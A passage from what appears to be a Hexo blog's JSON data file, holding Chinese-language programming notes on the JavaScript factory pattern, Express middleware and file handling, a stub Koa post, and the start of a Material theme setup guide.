{}\n\nXHRFactory.createXMLHttp = function () {\n  var XMLHttp = null\n\n  if (window.XMLHttpRequest) {\n    XMLHttp = new XMLHttpRequest()\n  } else if (window.ActiveObject) {\n    XMLHttp = new ActiveXObject(&#39;Microsoft.XMLHTTP&#39;)\n  }\n\n  return XMLHttp\n}\n\nvar Ajax = function () {\n  var XMLHttp = XHRFactory.createXMLHttp()\n}\n</code></pre>\n<p>复杂工厂模式：先设计一个抽象类，这个类不能被实例化，只能用来派生子类，最后通过对子类的拓展实现工厂方法。</p>\n<pre><code class=\"js\">var XHRF = function () {}\n\nXHRF.prototype = {\n  createFactory: function () {\n    throw new Error(&#39;this is an abstract class&#39;)\n  }\n}\n\nvar XHRH = function () {}\n\n// 子类继承父类\nextend(XHRH, XHRF)\n\n// 把父类原型传递给子类，实现继承\nXHRH.prototype = new XHRF()\n// 重置子类原型的构造器为子类自身\nXHRH.prototype.constructor = XHRH\n\n// 重新定义createFactory 方法\nXHRH.prototype.createFactory = function () {\n  var XMLHttp = null\n\n  if (window.XMLHrrpRequest) {\n    XMLHttp = new XMLHttpRequest()\n  } else if (window.ActiveXObject) {\n    XMLHttp = new ActiveXObject(&#39;Microsoft.XMLHTTP&#39;)\n  }\n\n  return XMLHttp\n}\n\n</code></pre>\n<h4 id=\"应用场景-2\"><a href=\"#应用场景-2\" class=\"headerlink\" title=\"应用场景\"></a>应用场景</h4><ol>\n<li>对象的构建十分复杂</li>\n<li>需要依赖具体环境创建不同实例</li>\n<li>处理大量具有相同属性的小对象</li>\n</ol>\n<h4 id=\"优点\"><a href=\"#优点\" class=\"headerlink\" title=\"优点\"></a>优点</h4><ol>\n<li>弱化对象间的耦合，防止代码重复。</li>\n<li>重复性的代码可以放在父类中去编写，子类继承于父类的所有成员属性和方法，子类只专注于实现自己的业务逻辑。</li>\n</ol>\n<h4 id=\"缺点\"><a href=\"#缺点\" class=\"headerlink\" title=\"缺点\"></a>缺点</h4><p>当工厂增加到一定程度的时候，提高了代码的复杂度，可读性下降。而且没有解决对象的识别问题，既怎么知道一个对象的类型。</p>\n"},{"title":"learn express","date":"2017-12-20T02:27:29.000Z","_content":"\n## 深入了解express\n\n### 构建一个 express 实例\n> cnpm i express-generator -g\n\n### 目录结构\n```\n.\n├── app.js\n├── bin\n│   └── www\n├── package.json\n├── public\n│   ├── images\n│   ├── javascripts\n│   └── stylesheets\n│       └── style.css\n├── routes\n│   ├── index.js\n│   └── users.js\n└── views\n    ├── error.jade\n    ├── index.jade\n    └── layout.jade\n\n7 directories, 9 files\n```\n\n### 中间件\n#### 应用级中间件\n```\n<!-- 没有挂载路径 -->\napp.use(function (req, res, next) {\n    ...\n\n    next()\n}, function (req, res, next) {\n  console.log('Request Type:', req.method);\n  next();\n})\n<!-- 挂载路径的中间件 -->\napp.use('/user/', function(req, res, next){\n    ...\n\n    next()\n})\n路由和句柄函数，处理get（post）请求\napp.get('/', function() {\n    res.send('USER')\n})\n```\n#### 路由级中间件\n> var app = express()\n> var router = express.Router()\n```\n和上面类似，只是写法不同\nrouter.use('/', function(req, res, next) {\n    ...\n\n    next()\n})\n\n<!-- 此处理是在同一个文件夹下 -->\napp.use('/', router)\n```\n\n#### 错误处理中间件\n```\napp.use(function (err, req, res, next) {\n  console.error(err.stack);\n  res.status(500).send('Something broke!');\n});\n```\n\n#### 内置中间件\n> 唯一内置中间件：express.static()\n* dotfiles\t\n是否对外输出文件名以点（.）开头的文件。        \n可选值为 “allow”、“deny” 和 “ignore”\t \n默认：ignore\n* etag\t\n是否启用 etag 生成\t\n默认：true\n* extensions\t\n设置文件扩展名备份选项\t\n默认：[]\n* index\t\n发送目录索引文件，设置为 false 禁用目录索引。\t\nMixed\t\n默认：“index.html”\n* lastModified\t\n设置 Last-Modified 头为文件在操作系统上的最后修改日期。可能值为 true 或 false。\t\t\n默认：true\n* maxAge\t\n以毫秒或者其字符串格式设置 Cache-Control 头的 max-age 属性。\t\n默认：0\n* redirect\t\n当路径为目录时，重定向至 “/”。\t\t\n默认：true\n* setHeaders\t\n设置 HTTP 头以提供文件的函数。\t\nFunction\t \n```\napp.use(express.static('public', options));\n```\n\n#### 第三方中间件\n##### cookie-parser\n用于解析 cookie 的中间件\n##### body-parser\n用于解析request body部分，并对上传内容大小作出限制\n```\napp.use(bodyParser.json({ limit: '50mb' }));\napp.use(bodyParser.urlencoded({ limit: '50mb', extended: true }));\n```\n#### canvas \n```\n    var base64Data = req.body.imgData;\n    var img = new Canvas.Image;\n\n    img.onload = function(){\n      var w = img.width;\n      var h = img.height;\n      var canvas = new Canvas(w, h);\n      var ctx = canvas.getContext('2d');\n      ctx.drawImage(img, 0, 0);\n\n      var out = fs.createWriteStream(__dirname + '/crop.jpg');\n      var stream = canvas.createJPEGStream({\n        bufsize : 2048,\n        quality : 80\n      });\n\n      stream.on('data', function(chunk){\n        out.write(chunk);\n      });\n\n      stream.on('end', function(){\n        out.end();\n        res.send(\"上传成功！\");\n      });\n    }\n\n    img.onerror = function(err){\n      res.send(err);\n    }\n\n    img.src = base64Data;\n```\n#### fs模块 (node自带模块)\n对文件执行读取和写入\n```\nfunction(req, res, next) {\n  if (req.body.formFile) {\n    // 对象转换为字符串\n    <!-- 先取出base64码 -->\n    var base64Data = req.body.formFile.replace(/^data:image\\/\\w+;base64,/, \"\");\n    <!-- 将base64码进行转码 -->\n    var dataBuffer = new Buffer(base64Data, 'base64');\n    <!-- 将文件导出为图片格式 -->\n    fs.writeFile(\"out.png\", dataBuffer, function (err) {\n      if (err) {\n        res.send(err);\n      } else {\n        res.send(\"保存成功！\");\n      }\n    });\n  }\n}\n```","source":"_posts/learn-express.md","raw":"---\ntitle: learn express\ndate: 2017-12-20 10:27:29\ntags: [express]\ncategories: nodeJS\n---\n\n## 深入了解express\n\n### 构建一个 express 实例\n> cnpm i express-generator -g\n\n### 目录结构\n```\n.\n├── app.js\n├── bin\n│   └── www\n├── package.json\n├── public\n│   ├── images\n│   ├── javascripts\n│   └── stylesheets\n│       └── style.css\n├── routes\n│   ├── index.js\n│   └── users.js\n└── views\n    ├── error.jade\n    ├── index.jade\n    └── layout.jade\n\n7 directories, 9 files\n```\n\n### 中间件\n#### 应用级中间件\n```\n<!-- 没有挂载路径 -->\napp.use(function (req, res, next) {\n    ...\n\n    next()\n}, function (req, res, next) {\n  console.log('Request Type:', req.method);\n  next();\n})\n<!-- 挂载路径的中间件 -->\napp.use('/user/', function(req, res, next){\n    ...\n\n    next()\n})\n路由和句柄函数，处理get（post）请求\napp.get('/', function() {\n    res.send('USER')\n})\n```\n#### 路由级中间件\n> var app = express()\n> var router = express.Router()\n```\n和上面类似，只是写法不同\nrouter.use('/', function(req, res, next) {\n    ...\n\n    next()\n})\n\n<!-- 此处理是在同一个文件夹下 -->\napp.use('/', router)\n```\n\n#### 错误处理中间件\n```\napp.use(function (err, req, res, next) {\n  console.error(err.stack);\n  res.status(500).send('Something broke!');\n});\n```\n\n#### 内置中间件\n> 唯一内置中间件：express.static()\n* dotfiles\t\n是否对外输出文件名以点（.）开头的文件。        \n可选值为 “allow”、“deny” 和 “ignore”\t \n默认：ignore\n* etag\t\n是否启用 etag 生成\t\n默认：true\n* extensions\t\n设置文件扩展名备份选项\t\n默认：[]\n* index\t\n发送目录索引文件，设置为 false 禁用目录索引。\t\nMixed\t\n默认：“index.html”\n* lastModified\t\n设置 Last-Modified 头为文件在操作系统上的最后修改日期。可能值为 true 或 false。\t\t\n默认：true\n* maxAge\t\n以毫秒或者其字符串格式设置 Cache-Control 头的 max-age 属性。\t\n默认：0\n* redirect\t\n当路径为目录时，重定向至 “/”。\t\t\n默认：true\n* setHeaders\t\n设置 HTTP 头以提供文件的函数。\t\nFunction\t \n```\napp.use(express.static('public', options));\n```\n\n#### 第三方中间件\n##### cookie-parser\n用于解析 cookie 的中间件\n##### body-parser\n用于解析request body部分，并对上传内容大小作出限制\n```\napp.use(bodyParser.json({ limit: '50mb' }));\napp.use(bodyParser.urlencoded({ limit: '50mb', extended: true }));\n```\n#### canvas \n```\n    var base64Data = req.body.imgData;\n    var img = new Canvas.Image;\n\n    img.onload = function(){\n      var w = img.width;\n      var h = img.height;\n      var canvas = new Canvas(w, h);\n      var ctx = canvas.getContext('2d');\n      ctx.drawImage(img, 0, 0);\n\n      var out = fs.createWriteStream(__dirname + '/crop.jpg');\n      var stream = canvas.createJPEGStream({\n        bufsize : 2048,\n        quality : 80\n      });\n\n      stream.on('data', function(chunk){\n        out.write(chunk);\n      });\n\n      stream.on('end', function(){\n        out.end();\n        res.send(\"上传成功！\");\n      });\n    }\n\n    img.onerror = function(err){\n      res.send(err);\n    }\n\n    img.src = base64Data;\n```\n#### fs模块 (node自带模块)\n对文件执行读取和写入\n```\nfunction(req, res, next) {\n  if (req.body.formFile) {\n    // 对象转换为字符串\n    <!-- 先取出base64码 -->\n    var base64Data = req.body.formFile.replace(/^data:image\\/\\w+;base64,/, \"\");\n    <!-- 将base64码进行转码 -->\n    var dataBuffer = new Buffer(base64Data, 'base64');\n    <!-- 将文件导出为图片格式 -->\n    fs.writeFile(\"out.png\", dataBuffer, function (err) {\n      if (err) {\n        res.send(err);\n      } else {\n        res.send(\"保存成功！\");\n      }\n    });\n  }\n}\n```","slug":"learn-express","published":1,"updated":"2018-01-22T05:59:12.396Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y530013vzqhoq275rpx","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h2 id=\"深入了解express\"><a href=\"#深入了解express\" class=\"headerlink\" title=\"深入了解express\"></a>深入了解express</h2><h3 id=\"构建一个-express-实例\"><a href=\"#构建一个-express-实例\" class=\"headerlink\" title=\"构建一个 express 实例\"></a>构建一个 express 实例</h3><blockquote>\n<p>cnpm i express-generator -g</p>\n</blockquote>\n<h3 id=\"目录结构\"><a href=\"#目录结构\" class=\"headerlink\" title=\"目录结构\"></a>目录结构</h3><pre><code>.\n├── app.js\n├── bin\n│   └── www\n├── package.json\n├── public\n│   ├── images\n│   ├── javascripts\n│   └── stylesheets\n│       └── style.css\n├── routes\n│   ├── index.js\n│   └── users.js\n└── views\n    ├── error.jade\n    ├── index.jade\n    └── layout.jade\n\n7 directories, 9 files\n</code></pre><h3 id=\"中间件\"><a href=\"#中间件\" class=\"headerlink\" title=\"中间件\"></a>中间件</h3><h4 id=\"应用级中间件\"><a href=\"#应用级中间件\" class=\"headerlink\" title=\"应用级中间件\"></a>应用级中间件</h4><pre><code>&lt;!-- 没有挂载路径 --&gt;\napp.use(function (req, res, next) {\n    ...\n\n    next()\n}, function (req, res, next) {\n  console.log(&#39;Request Type:&#39;, req.method);\n  next();\n})\n&lt;!-- 挂载路径的中间件 --&gt;\napp.use(&#39;/user/&#39;, function(req, res, next){\n    ...\n\n    next()\n})\n路由和句柄函数，处理get（post）请求\napp.get(&#39;/&#39;, function() {\n    res.send(&#39;USER&#39;)\n})\n</code></pre><h4 id=\"路由级中间件\"><a href=\"#路由级中间件\" class=\"headerlink\" title=\"路由级中间件\"></a>路由级中间件</h4><blockquote>\n<p>var app = express()<br>var router = express.Router()<br><code>`</code><br>和上面类似，只是写法不同<br>router.use(‘/‘, function(req, res, next) {<br>    …</p>\n</blockquote>\n<pre><code>next()\n</code></pre><p>})</p>\n<!-- 此处理是在同一个文件夹下 -->\n<p>app.use(‘/‘, router)</p>\n<pre><code>\n#### 错误处理中间件\n</code></pre><p>app.use(function (err, req, res, next) {<br>  console.error(err.stack);<br>  res.status(500).send(‘Something broke!’);<br>});</p>\n<pre><code>\n#### 内置中间件\n&gt; 唯一内置中间件：express.static()\n* dotfiles    \n是否对外输出文件名以点（.）开头的文件。        \n可选值为 “allow”、“deny” 和 “ignore”     \n默认：ignore\n* etag    \n是否启用 etag 生成    \n默认：true\n* extensions    \n设置文件扩展名备份选项    \n默认：[]\n* index    \n发送目录索引文件，设置为 false 禁用目录索引。    \nMixed    \n默认：“index.html”\n* lastModified    \n设置 Last-Modified 头为文件在操作系统上的最后修改日期。可能值为 true 或 false。        \n默认：true\n* maxAge    \n以毫秒或者其字符串格式设置 Cache-Control 头的 max-age 属性。    \n默认：0\n* redirect    \n当路径为目录时，重定向至 “/”。        \n默认：true\n* setHeaders    \n设置 HTTP 头以提供文件的函数。    \nFunction     \n</code></pre><p>app.use(express.static(‘public’, options));</p>\n<pre><code>\n#### 第三方中间件\n##### cookie-parser\n用于解析 cookie 的中间件\n##### body-parser\n用于解析request body部分，并对上传内容大小作出限制\n</code></pre><p>app.use(bodyParser.json({ limit: ‘50mb’ }));<br>app.use(bodyParser.urlencoded({ limit: ‘50mb’, extended: true }));</p>\n<pre><code>#### canvas \n</code></pre><pre><code>var base64Data = req.body.imgData;\nvar img = new Canvas.Image;\n\nimg.onload = function(){\n  var w = img.width;\n  var h = img.height;\n  var canvas = new Canvas(w, h);\n  var ctx = canvas.getContext(&#39;2d&#39;);\n  ctx.drawImage(img, 0, 0);\n\n  var out = fs.createWriteStream(__dirname + &#39;/crop.jpg&#39;);\n  var stream = canvas.createJPEGStream({\n    bufsize : 2048,\n    quality : 80\n  });\n\n  stream.on(&#39;data&#39;, function(chunk){\n    out.write(chunk);\n  });\n\n  stream.on(&#39;end&#39;, function(){\n    out.end();\n    res.send(&quot;上传成功！&quot;);\n  });\n}\n\nimg.onerror = function(err){\n  res.send(err);\n}\n\nimg.src = base64Data;\n</code></pre><pre><code>#### fs模块 (node自带模块)\n对文件执行读取和写入\n</code></pre><p>function(req, res, next) {<br>  if (req.body.formFile) {<br>    // 对象转换为字符串<br>    <!-- 先取出base64码 --><br>    var base64Data = req.body.formFile.replace(/^data:image\\/\\w+;base64,/, “”);<br>    <!-- 将base64码进行转码 --><br>    var dataBuffer = new Buffer(base64Data, ‘base64’);<br>    <!-- 将文件导出为图片格式 --><br>    fs.writeFile(“out.png”, dataBuffer, function (err) {<br>      if (err) {<br>        res.send(err);<br>      } else {<br>        res.send(“保存成功！”);<br>      }<br>    });<br>  }<br>}<br><code>`</code></p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h2 id=\"深入了解express\"><a href=\"#深入了解express\" class=\"headerlink\" title=\"深入了解express\"></a>深入了解express</h2><h3 id=\"构建一个-express-实例\"><a href=\"#构建一个-express-实例\" class=\"headerlink\" title=\"构建一个 express 实例\"></a>构建一个 express 实例</h3><blockquote>\n<p>cnpm i express-generator -g</p>\n</blockquote>\n<h3 id=\"目录结构\"><a href=\"#目录结构\" class=\"headerlink\" title=\"目录结构\"></a>目录结构</h3><pre><code>.\n├── app.js\n├── bin\n│   └── www\n├── package.json\n├── public\n│   ├── images\n│   ├── javascripts\n│   └── stylesheets\n│       └── style.css\n├── routes\n│   ├── index.js\n│   └── users.js\n└── views\n    ├── error.jade\n    ├── index.jade\n    └── layout.jade\n\n7 directories, 9 files\n</code></pre><h3 id=\"中间件\"><a href=\"#中间件\" class=\"headerlink\" title=\"中间件\"></a>中间件</h3><h4 id=\"应用级中间件\"><a href=\"#应用级中间件\" class=\"headerlink\" title=\"应用级中间件\"></a>应用级中间件</h4><pre><code>&lt;!-- 没有挂载路径 --&gt;\napp.use(function (req, res, next) {\n    ...\n\n    next()\n}, function (req, res, next) {\n  console.log(&#39;Request Type:&#39;, req.method);\n  next();\n})\n&lt;!-- 挂载路径的中间件 --&gt;\napp.use(&#39;/user/&#39;, function(req, res, next){\n    ...\n\n    next()\n})\n路由和句柄函数，处理get（post）请求\napp.get(&#39;/&#39;, function() {\n    res.send(&#39;USER&#39;)\n})\n</code></pre><h4 id=\"路由级中间件\"><a href=\"#路由级中间件\" class=\"headerlink\" title=\"路由级中间件\"></a>路由级中间件</h4><blockquote>\n<p>var app = express()<br>var router = express.Router()<br><code>`</code><br>和上面类似，只是写法不同<br>router.use(‘/‘, function(req, res, next) {<br>    …</p>\n</blockquote>\n<pre><code>next()\n</code></pre><p>})</p>\n<!-- 此处理是在同一个文件夹下 -->\n<p>app.use(‘/‘, router)</p>\n<pre><code>\n#### 错误处理中间件\n</code></pre><p>app.use(function (err, req, res, next) {<br>  console.error(err.stack);<br>  res.status(500).send(‘Something broke!’);<br>});</p>\n<pre><code>\n#### 内置中间件\n&gt; 唯一内置中间件：express.static()\n* dotfiles    \n是否对外输出文件名以点（.）开头的文件。        \n可选值为 “allow”、“deny” 和 “ignore”     \n默认：ignore\n* etag    \n是否启用 etag 生成    \n默认：true\n* extensions    \n设置文件扩展名备份选项    \n默认：[]\n* index    \n发送目录索引文件，设置为 false 禁用目录索引。    \nMixed    \n默认：“index.html”\n* lastModified    \n设置 Last-Modified 头为文件在操作系统上的最后修改日期。可能值为 true 或 false。        \n默认：true\n* maxAge    \n以毫秒或者其字符串格式设置 Cache-Control 头的 max-age 属性。    \n默认：0\n* redirect    \n当路径为目录时，重定向至 “/”。        \n默认：true\n* setHeaders    \n设置 HTTP 头以提供文件的函数。    \nFunction     \n</code></pre><p>app.use(express.static(‘public’, options));</p>\n<pre><code>\n#### 第三方中间件\n##### cookie-parser\n用于解析 cookie 的中间件\n##### body-parser\n用于解析request body部分，并对上传内容大小作出限制\n</code></pre><p>app.use(bodyParser.json({ limit: ‘50mb’ }));<br>app.use(bodyParser.urlencoded({ limit: ‘50mb’, extended: true }));</p>\n<pre><code>#### canvas \n</code></pre><pre><code>var base64Data = req.body.imgData;\nvar img = new Canvas.Image;\n\nimg.onload = function(){\n  var w = img.width;\n  var h = img.height;\n  var canvas = new Canvas(w, h);\n  var ctx = canvas.getContext(&#39;2d&#39;);\n  ctx.drawImage(img, 0, 0);\n\n  var out = fs.createWriteStream(__dirname + &#39;/crop.jpg&#39;);\n  var stream = canvas.createJPEGStream({\n    bufsize : 2048,\n    quality : 80\n  });\n\n  stream.on(&#39;data&#39;, function(chunk){\n    out.write(chunk);\n  });\n\n  stream.on(&#39;end&#39;, function(){\n    out.end();\n    res.send(&quot;上传成功！&quot;);\n  });\n}\n\nimg.onerror = function(err){\n  res.send(err);\n}\n\nimg.src = base64Data;\n</code></pre><pre><code>#### fs模块 (node自带模块)\n对文件执行读取和写入\n</code></pre><p>function(req, res, next) {<br>  if (req.body.formFile) {<br>    // 对象转换为字符串<br>    <!-- 先取出base64码 --><br>    var base64Data = req.body.formFile.replace(/^data:image\\/\\w+;base64,/, “”);<br>    <!-- 将base64码进行转码 --><br>    var dataBuffer = new Buffer(base64Data, ‘base64’);<br>    <!-- 将文件导出为图片格式 --><br>    fs.writeFile(“out.png”, dataBuffer, function (err) {<br>      if (err) {<br>        res.send(err);<br>      } else {<br>        res.send(“保存成功！”);<br>      }<br>    });<br>  }<br>}<br><code>`</code></p>\n"},{"title":"learn-koa","date":"2017-09-06T12:08:01.000Z","_content":"\napp.use()","source":"_posts/learn-koa.md","raw":"---\ntitle: learn-koa\ndate: 2017-09-06 20:08:01\ntags: [koa]\ncategories: nodeJS\n---\n\napp.use()","slug":"learn-koa","published":1,"updated":"2018-01-26T02:27:05.874Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y550016vzqhakpd8l4x","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><p>app.use()</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<p>app.use()</p>\n"},{"title":"material主题使用攻略","date":"2017-02-15T11:59:16.000Z","_content":"\n## 安装[Material]\n\n``` bash\nnpm install hexo-meterial\n```\n\n该方法会将主题下载到node_modules文件夹下，找到该文件后，将文件名改为material\n\n### 启用[Material]\n\n找到主题文件下的_config.template.yml 改成 _config.yml\n\n## 更新[Material]\n\n``` bash\nnpm update 